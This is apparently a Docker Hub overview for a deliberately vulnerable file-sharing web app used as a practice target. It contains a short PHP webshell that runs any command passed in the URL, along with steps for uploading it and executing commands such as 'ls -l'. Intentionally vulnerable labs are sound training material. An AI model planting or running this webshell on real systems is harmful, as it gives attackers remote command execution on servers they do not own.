prex55/vuln_fshare repository overview

⁠Vulnerable Fileshare

You can upload PHP webshell and can execute it.

⁠How to run

Basic command

docker run -d -p [Port Number]:80 --name vuln-fshare prex55/vuln_fshare:[tag]

Example.

docker run -d -p 8000:80 --name vuln-fshare prex55/vuln_fshare:latest

⁠Usage

⁠Access

http://[container ip]:[port]

⁠Login account

You can set username and password at first login. To reset password, recreate container or delete /var/www/system/password.txt.

⁠Webshell upload

Upload any PHP webshell you like. If you don't have it, please copy below and save it as cmd.php.

<pre>
<?php
if($_GET['x'])
        system($_GET['x']);

⁠Execute webshell

Copy the link address of the uploaded file. If it is cmd.php, it should look like this

http://ip:port/files/cmd.php

Put the above url to the URL bar, and add commands you want to execute as query string.

When you execute ls -l, like this

http://ip:port/files/cmd.php?x=ls -l

Use URL-encoded commands if your commands contain special characters